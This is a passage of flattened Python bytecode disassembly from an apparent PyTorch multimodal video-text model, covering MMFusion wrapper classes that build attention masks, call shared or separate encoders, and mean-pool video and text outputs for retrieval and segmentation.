LOAD_ATTR bool LOAD_FAST cmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST cls_self_mask LOAD_GLOBAL torch LOAD_ATTR cat LOAD_GLOBAL torch LOAD_ATTR zeros LOAD_FAST batch_size LOAD_CONST 1 BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR bool LOAD_FAST cmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION LOAD_FAST vmasks LOAD_FAST cmasks LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 1 LOAD_CONST 2 BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_GLOBAL torch LOAD_ATTR zeros LOAD_FAST batch_size LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_CONST 2 BINARY_SUBTRACT BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR bool LOAD_FAST cmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST iso_video_mask LOAD_GLOBAL torch LOAD_ATTR cat LOAD_GLOBAL torch LOAD_ATTR zeros LOAD_FAST batch_size LOAD_CONST 2 LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD BINARY_ADD BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR bool LOAD_FAST cmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION LOAD_FAST cmasks LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST iso_text_mask LOAD_FAST cls_self_mask LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR STORE_FAST cls_self_mask LOAD_FAST iso_video_mask LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_METHOD repeat LOAD_CONST 1 LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_CONST 1 BINARY_ADD LOAD_CONST 1 CALL_METHOD STORE_FAST iso_video_mask LOAD_FAST iso_text_mask LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_METHOD repeat LOAD_CONST 1 LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_CONST 2 BINARY_SUBTRACT LOAD_CONST 1 CALL_METHOD STORE_FAST iso_text_mask LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST cls_self_mask LOAD_FAST iso_video_mask LOAD_FAST iso_text_mask BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR last_iso_layer LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR last_iso_layer JUMP_FORWARD to 20 LOAD_FAST self LOAD_ATTR num_hidden_layers STORE_FAST layer_idx LOAD_FAST layered_sequence_output LOAD_FAST layer_idx BINARY_SUBSCR STORE_FAST hidden_state LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST 0 CALL_METHOD STORE_FAST batch_size LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_CONST 2 BINARY_ADD STORE_FAST text_offset LOAD_FAST hidden_state LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 1 LOAD_FAST text_offset BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR STORE_FAST video_outputs LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST vmasks LOAD_GLOBAL torch LOAD_ATTR ones LOAD_FAST batch_size LOAD_CONST 1 BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR bool LOAD_FAST vmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST video_attention_mask LOAD_FAST video_outputs LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_FAST video_attention_mask LOAD_METHOD size LOAD_CONST 1 CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL torch LOAD_ATTR sum LOAD_FAST video_outputs LOAD_FAST video_attention_mask LOAD_METHOD unsqueeze LOAD_CONST -1 CALL_METHOD BINARY_MULTIPLY LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION LOAD_FAST video_attention_mask LOAD_ATTR sum LOAD_CONST 1 LOAD_CONST True LOAD_CONST ('keepdim',) CALL_FUNCTION BINARY_TRUE_DIVIDE STORE_FAST pooled_video LOAD_FAST cmasks LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR STORE_FAST text_attention_mask LOAD_FAST hidden_state LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_FAST text_offset LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR STORE_FAST text_outputs LOAD_FAST text_outputs LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_FAST text_attention_mask LOAD_METHOD size LOAD_CONST 1 CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL torch LOAD_ATTR sum LOAD_FAST text_outputs LOAD_FAST text_attention_mask LOAD_METHOD unsqueeze LOAD_CONST -1 CALL_METHOD BINARY_MULTIPLY LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION LOAD_FAST text_attention_mask LOAD_ATTR sum LOAD_CONST 1 LOAD_CONST True LOAD_CONST ('keepdim',) CALL_FUNCTION BINARY_TRUE_DIVIDE STORE_FAST pooled_text LOAD_FAST pooled_video LOAD_FAST pooled_text BUILD_TUPLE RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MMFusionMFMMLM' STORE_NAME __qualname__ LOAD_CONST 'forward function for MFM and MLM.' STORE_NAME __doc__ LOAD_CONST (None, None, None) LOAD_CONST <code object forward at 0x7f8e2ff25420, file "f.py", line 253> LOAD_CONST 'MMFusionMFMMLM.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR is_train POP_JUMP_IF_FALSE LOAD_CONST False JUMP_FORWARD to 12 LOAD_CONST True STORE_FAST output_hidden_states LOAD_CONST (None, None) UNPACK_SEQUENCE STORE_FAST target_vfeats STORE_FAST non_masked_frame_mask LOAD_FAST video_label LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST vfeats LOAD_METHOD masked_select LOAD_FAST video_label LOAD_METHOD unsqueeze LOAD_CONST -1 CALL_METHOD CALL_METHOD LOAD_METHOD view LOAD_CONST -1 LOAD_FAST vfeats LOAD_METHOD size LOAD_CONST -1 CALL_METHOD CALL_METHOD STORE_FAST target_vfeats LOAD_CONST 0.0 LOAD_FAST vfeats LOAD_FAST video_label STORE_SUBSCR LOAD_FAST vmasks LOAD_METHOD clone CALL_METHOD STORE_FAST non_masked_frame_mask LOAD_CONST False LOAD_FAST non_masked_frame_mask LOAD_FAST video_label STORE_SUBSCR LOAD_FAST self LOAD_METHOD _mm_on_the_fly LOAD_FAST cmasks LOAD_FAST vmasks LOAD_FAST attention_mask CALL_METHOD UNPACK_SEQUENCE STORE_FAST attention_mask STORE_FAST token_type_ids LOAD_FAST self LOAD_ATTR mm_encoder LOAD_FAST caps LOAD_FAST vfeats LOAD_FAST attention_mask LOAD_FAST token_type_ids LOAD_FAST video_label LOAD_FAST target_vfeats LOAD_FAST non_masked_frame_mask LOAD_FAST text_label LOAD_FAST output_hidden_states LOAD_CONST ('input_ids', 'input_video_embeds', 'attention_mask', 'token_type_ids', 'masked_frame_labels', 'target_video_hidden_states', 'non_masked_frame_mask', 'masked_lm_labels', 'output_hidden_states') CALL_FUNCTION STORE_FAST outputs LOAD_FAST outputs LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST outputs LOAD_CONST 1 BINARY_SUBSCR ROT_TWO STORE_FAST video_logits STORE_FAST text_logits LOAD_FAST self LOAD_ATTR is_train POP_JUMP_IF_FALSE LOAD_FAST video_logits LOAD_FAST text_logits LOAD_CONST ('video_logits', 'text_logits') BUILD_CONST_KEY_MAP RETURN_VALUE LOAD_FAST self LOAD_METHOD _pooling_vt_layer LOAD_FAST outputs LOAD_CONST 2 BINARY_SUBSCR LOAD_FAST cmasks LOAD_FAST vmasks CALL_METHOD UNPACK_SEQUENCE STORE_FAST pooled_video STORE_FAST pooled_text LOAD_FAST pooled_video LOAD_FAST pooled_text LOAD_CONST ('pooled_video', 'pooled_text') BUILD_CONST_KEY_MAP RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MMFusionMTM' STORE_NAME __qualname__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8e2ff25d20, file "f.py", line 304> LOAD_CONST 'MMFusionMTM.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST config CALL_METHOD POP_TOP LOAD_CONST 1 LOAD_CONST ('MMBertForMTM',) IMPORT_NAME transformermodel IMPORT_FROM MMBertForMTM STORE_FAST MMBertForMTM POP_TOP LOAD_GLOBAL AutoConfig LOAD_METHOD from_pretrained LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR bert_name CALL_METHOD STORE_FAST model_config LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR max_video_len LOAD_FAST model_config STORE_ATTR max_video_len LOAD_FAST config LOAD_ATTR model LOAD_ATTR use_seg_emb LOAD_FAST model_config STORE_ATTR use_seg_emb LOAD_FAST MMBertForMTM LOAD_ATTR from_pretrained LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR bert_name LOAD_FAST model_config LOAD_CONST ('config',) CALL_FUNCTION LOAD_FAST self STORE_ATTR mm_encoder LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MMFusionShare' STORE_NAME __qualname__ LOAD_CONST 'A retrival wrapper using mm_encoder as both video/text backbone.\n TODO: move formally.\n ' STORE_NAME __doc__ LOAD_CONST (None, None, None, False) LOAD_CONST <code object forward at 0x7f8e2ff250c0, file "f.py", line 325> LOAD_CONST 'MMFusionShare.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CONST (False,) LOAD_CONST <code object forward_video at 0x7f8e2ff25ae0, file "f.py", line 345> LOAD_CONST 'MMFusionShare.forward_video' MAKE_FUNCTION STORE_NAME forward_video LOAD_CONST (False,) LOAD_CONST <code object forward_text at 0x7f8af11f1ed0, file "f.py", line 389> LOAD_CONST 'MMFusionShare.forward_text' MAKE_FUNCTION STORE_NAME forward_text LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD forward_video LOAD_FAST vfeats LOAD_FAST vmasks LOAD_FAST caps LOAD_FAST cmasks LOAD_FAST output_hidden_states CALL_METHOD STORE_FAST pooled_video LOAD_FAST self LOAD_METHOD forward_text LOAD_FAST caps LOAD_FAST cmasks LOAD_FAST output_hidden_states CALL_METHOD STORE_FAST pooled_text LOAD_FAST pooled_video LOAD_FAST pooled_text LOAD_CONST ('pooled_video', 'pooled_text') BUILD_CONST_KEY_MAP RETURN_VALUE LOAD_FAST caps LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR STORE_FAST input_ids LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST cmasks LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST 1 BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_FAST vmasks LOAD_FAST cmasks LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 1 LOAD_CONST 2 BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST attention_mask LOAD_GLOBAL torch LOAD_ATTR zeros LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 0 CALL_METHOD LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_CONST 2 BINARY_ADD BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR long LOAD_FAST vmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION STORE_FAST token_type_ids LOAD_FAST self LOAD_ATTR mm_encoder LOAD_FAST input_ids LOAD_FAST vfeats LOAD_FAST attention_mask LOAD_FAST token_type_ids LOAD_CONST True LOAD_CONST ('input_ids', 'input_video_embeds', 'attention_mask', 'token_type_ids', 'output_hidden_states') CALL_FUNCTION STORE_FAST outputs LOAD_FAST outputs LOAD_CONST 0 BINARY_SUBSCR STORE_FAST video_outputs LOAD_FAST output_hidden_states POP_JUMP_IF_FALSE LOAD_FAST video_outputs RETURN_VALUE LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST 0 CALL_METHOD STORE_FAST batch_size LOAD_GLOBAL torch LOAD_ATTR cat LOAD_GLOBAL torch LOAD_ATTR zeros LOAD_FAST batch_size LOAD_CONST 1 BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR bool LOAD_FAST vmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION LOAD_FAST vmasks LOAD_GLOBAL torch LOAD_ATTR ones LOAD_FAST batch_size LOAD_CONST 1 BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR bool LOAD_FAST vmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST video_attention_mask LOAD_FAST video_outputs LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_FAST video_attention_mask LOAD_METHOD size LOAD_CONST 1 CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST video_attention_mask LOAD_METHOD type LOAD_FAST video_outputs LOAD_ATTR dtype CALL_METHOD LOAD_FAST video_attention_mask LOAD_ATTR sum LOAD_CONST 1 LOAD_CONST True LOAD_CONST ('keepdim',) CALL_FUNCTION BINARY_TRUE_DIVIDE STORE_FAST video_attention_mask LOAD_GLOBAL torch LOAD_METHOD bmm LOAD_FAST video_outputs LOAD_METHOD transpose LOAD_CONST 2 LOAD_CONST 1 CALL_METHOD LOAD_FAST video_attention_mask LOAD_METHOD unsqueeze LOAD_CONST 2 CALL_METHOD CALL_METHOD LOAD_METHOD squeeze LOAD_CONST -1 CALL_METHOD STORE_FAST pooled_video LOAD_FAST pooled_video RETURN_VALUE LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST caps LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST 1 BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_FAST caps LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST input_ids LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST cmasks LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST 1 BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_FAST cmasks LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST attention_mask LOAD_GLOBAL torch LOAD_ATTR cat LOAD_GLOBAL torch LOAD_ATTR zeros LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST 0 CALL_METHOD LOAD_CONST 1 BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR long LOAD_FAST cmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION LOAD_GLOBAL torch LOAD_ATTR ones LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST 0 CALL_METHOD LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_CONST 2 BINARY_SUBTRACT BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR long LOAD_FAST cmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST token_type_ids LOAD_FAST self LOAD_ATTR mm_encoder LOAD_FAST input_ids LOAD_CONST None LOAD_FAST attention_mask LOAD_FAST token_type_ids LOAD_CONST True LOAD_CONST ('input_ids', 'input_video_embeds', 'attention_mask', 'token_type_ids', 'output_hidden_states') CALL_FUNCTION STORE_FAST outputs LOAD_FAST outputs LOAD_CONST 0 BINARY_SUBSCR STORE_FAST text_outputs LOAD_FAST output_hidden_states POP_JUMP_IF_FALSE LOAD_FAST text_outputs RETURN_VALUE LOAD_FAST caps LOAD_METHOD size LOAD_CONST 0 CALL_METHOD STORE_FAST batch_size LOAD_GLOBAL torch LOAD_ATTR cat LOAD_GLOBAL torch LOAD_ATTR zeros LOAD_FAST batch_size LOAD_CONST 1 BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR bool LOAD_FAST cmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION LOAD_FAST cmasks LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST text_attention_mask LOAD_FAST text_outputs LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_FAST text_attention_mask LOAD_METHOD size LOAD_CONST 1 CALL_METHOD COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST text_attention_mask LOAD_METHOD type LOAD_FAST text_outputs LOAD_ATTR dtype CALL_METHOD LOAD_FAST text_attention_mask LOAD_ATTR sum LOAD_CONST 1 LOAD_CONST True LOAD_CONST ('keepdim',) CALL_FUNCTION BINARY_TRUE_DIVIDE STORE_FAST text_attention_mask LOAD_GLOBAL torch LOAD_METHOD bmm LOAD_FAST text_outputs LOAD_METHOD transpose LOAD_CONST 2 LOAD_CONST 1 CALL_METHOD LOAD_FAST text_attention_mask LOAD_METHOD unsqueeze LOAD_CONST 2 CALL_METHOD CALL_METHOD LOAD_METHOD squeeze LOAD_CONST -1 CALL_METHOD STORE_FAST pooled_text LOAD_FAST pooled_text RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MMFusionSeparate' STORE_NAME __qualname__ LOAD_CONST (False,) LOAD_CONST <code object forward_video at 0x7f8af11f19c0, file "f.py", line 448> LOAD_CONST 'MMFusionSeparate.forward_video' MAKE_FUNCTION STORE_NAME forward_video LOAD_CONST (False,) LOAD_CONST <code object forward_text at 0x7f8af11f1f60, file "f.py", line 492> LOAD_CONST 'MMFusionSeparate.forward_text' MAKE_FUNCTION STORE_NAME forward_text LOAD_CONST None RETURN_VALUE LOAD_FAST caps LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR STORE_FAST input_ids LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST cmasks LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST 1 BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_FAST vmasks LOAD_FAST cmasks LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 1 LOAD_CONST 2 BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST attention_mask LOAD_GLOBAL torch LOAD_ATTR zeros LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 0 CALL_METHOD LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_CONST 2 BINARY_ADD BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR long LOAD_FAST vmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION STORE_FAST token_type_ids LOAD_FAST self LOAD_ATTR video_encoder LOAD_FAST input_ids LOAD_FAST vfeats LOAD_FAST attention_mask LOAD_FAST token_type_ids LOAD_CONST True LOAD_CONST ('input_ids', 'input_video_embeds', 'attention_mask', 'token_type_ids', 'output_hidden_states') CALL_FUNCTION STORE_FAST outputs LOAD_FAST outputs LOAD_CONST 0 BINARY_SUBSCR STORE_FAST video_outputs LOAD_FAST output_hidden_states POP_JUMP_IF_FALSE LOAD_FAST video_outputs RETURN_VALUE LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST 0 CALL_METHOD STORE_FAST batch_size LOAD_GLOBAL torch LOAD_ATTR cat LOAD_GLOBAL torch LOAD_ATTR zeros LOAD_FAST batch_size LOAD_CONST 1 BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR bool LOAD_FAST vmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION LOAD_FAST vmasks LOAD_GLOBAL torch LOAD_ATTR ones LOAD_FAST batch_size LOAD_CONST 1 BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR bool LOAD_FAST vmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST video_attention_mask LOAD_FAST video_outputs LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_FAST video_attention_mask LOAD_METHOD size LOAD_CONST 1 CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST video_attention_mask LOAD_METHOD type LOAD_FAST video_outputs LOAD_ATTR dtype CALL_METHOD LOAD_FAST video_attention_mask LOAD_ATTR sum LOAD_CONST 1 LOAD_CONST True LOAD_CONST ('keepdim',) CALL_FUNCTION BINARY_TRUE_DIVIDE STORE_FAST video_attention_mask LOAD_GLOBAL torch LOAD_METHOD bmm LOAD_FAST video_outputs LOAD_METHOD transpose LOAD_CONST 2 LOAD_CONST 1 CALL_METHOD LOAD_FAST video_attention_mask LOAD_METHOD unsqueeze LOAD_CONST 2 CALL_METHOD CALL_METHOD LOAD_METHOD squeeze LOAD_CONST -1 CALL_METHOD STORE_FAST pooled_video LOAD_FAST pooled_video RETURN_VALUE LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST caps LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST 1 BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_FAST caps LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST input_ids LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST cmasks LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST 1 BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_FAST cmasks LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST attention_mask LOAD_GLOBAL torch LOAD_ATTR zeros LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST 0 CALL_METHOD LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_CONST 1 BINARY_SUBTRACT BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR long LOAD_FAST cmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION STORE_FAST token_type_ids LOAD_FAST self LOAD_ATTR text_encoder LOAD_FAST input_ids LOAD_FAST attention_mask LOAD_FAST token_type_ids LOAD_CONST True LOAD_CONST ('input_ids', 'attention_mask', 'token_type_ids', 'output_hidden_states') CALL_FUNCTION STORE_FAST outputs LOAD_FAST outputs LOAD_CONST 0 BINARY_SUBSCR STORE_FAST text_outputs LOAD_FAST output_hidden_states POP_JUMP_IF_FALSE LOAD_FAST text_outputs RETURN_VALUE LOAD_FAST caps LOAD_METHOD size LOAD_CONST 0 CALL_METHOD STORE_FAST batch_size LOAD_GLOBAL torch LOAD_ATTR cat LOAD_GLOBAL torch LOAD_ATTR zeros LOAD_FAST batch_size LOAD_CONST 1 BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR bool LOAD_FAST cmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION LOAD_FAST cmasks LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST text_attention_mask LOAD_FAST text_outputs LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_FAST text_attention_mask LOAD_METHOD size LOAD_CONST 1 CALL_METHOD COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST text_attention_mask LOAD_METHOD type LOAD_FAST text_outputs LOAD_ATTR dtype CALL_METHOD LOAD_FAST text_attention_mask LOAD_ATTR sum LOAD_CONST 1 LOAD_CONST True LOAD_CONST ('keepdim',) CALL_FUNCTION BINARY_TRUE_DIVIDE STORE_FAST text_attention_mask LOAD_GLOBAL torch LOAD_METHOD bmm LOAD_FAST text_outputs LOAD_METHOD transpose LOAD_CONST 2 LOAD_CONST 1 CALL_METHOD LOAD_FAST text_attention_mask LOAD_METHOD unsqueeze LOAD_CONST 2 CALL_METHOD CALL_METHOD LOAD_METHOD squeeze LOAD_CONST -1 CALL_METHOD STORE_FAST pooled_text LOAD_FAST pooled_text RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MMFusionJoint' STORE_NAME __qualname__ LOAD_CONST 'fine-tuning wrapper for retrival task.' STORE_NAME __doc__ LOAD_CONST (None, None, None) LOAD_CONST <code object forward at 0x7f8af11f1c90, file "f.py", line 541> LOAD_CONST 'MMFusionJoint.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CONST None RETURN_VALUE LOAD_CONST True STORE_FAST output_hidden_states LOAD_FAST self LOAD_METHOD _mm_on_the_fly LOAD_FAST cmasks LOAD_FAST vmasks LOAD_FAST attention_mask CALL_METHOD UNPACK_SEQUENCE STORE_FAST attention_mask STORE_FAST token_type_ids LOAD_FAST self LOAD_ATTR is_train POP_JUMP_IF_FALSE LOAD_CONST None JUMP_FORWARD to 44 LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_CONST 2 BINARY_ADD STORE_FAST separate_forward_split LOAD_FAST self LOAD_ATTR mm_encoder LOAD_FAST caps LOAD_FAST vfeats LOAD_FAST attention_mask LOAD_FAST token_type_ids LOAD_FAST output_hidden_states LOAD_FAST separate_forward_split LOAD_CONST ('input_ids', 'input_video_embeds', 'attention_mask', 'token_type_ids', 'output_hidden_states', 'separate_forward_split') CALL_FUNCTION STORE_FAST outputs LOAD_FAST self LOAD_METHOD _pooling_vt_layer LOAD_FAST outputs LOAD_CONST 2 BINARY_SUBSCR LOAD_FAST cmasks LOAD_FAST vmasks CALL_METHOD UNPACK_SEQUENCE STORE_FAST pooled_video STORE_FAST pooled_text LOAD_FAST pooled_video LOAD_FAST pooled_text LOAD_CONST ('pooled_video', 'pooled_text') BUILD_CONST_KEY_MAP RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MMFusionActionSegmentation' STORE_NAME __qualname__ LOAD_CONST 'Fine-tuning wrapper for action segmentation.\n TODO: rename this for VLM.\n ' STORE_NAME __doc__ LOAD_CONST (None,) LOAD_CONST <code object forward at 0x7f8af11f1270, file "f.py", line 580> LOAD_CONST 'MMFusionActionSegmentation.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CONST None RETURN_VALUE LOAD_FAST caps LOAD_METHOD view LOAD_CONST -1 LOAD_FAST caps LOAD_METHOD size LOAD_CONST -1 CALL_METHOD CALL_METHOD STORE_FAST caps LOAD_FAST cmasks LOAD_METHOD view LOAD_CONST -1 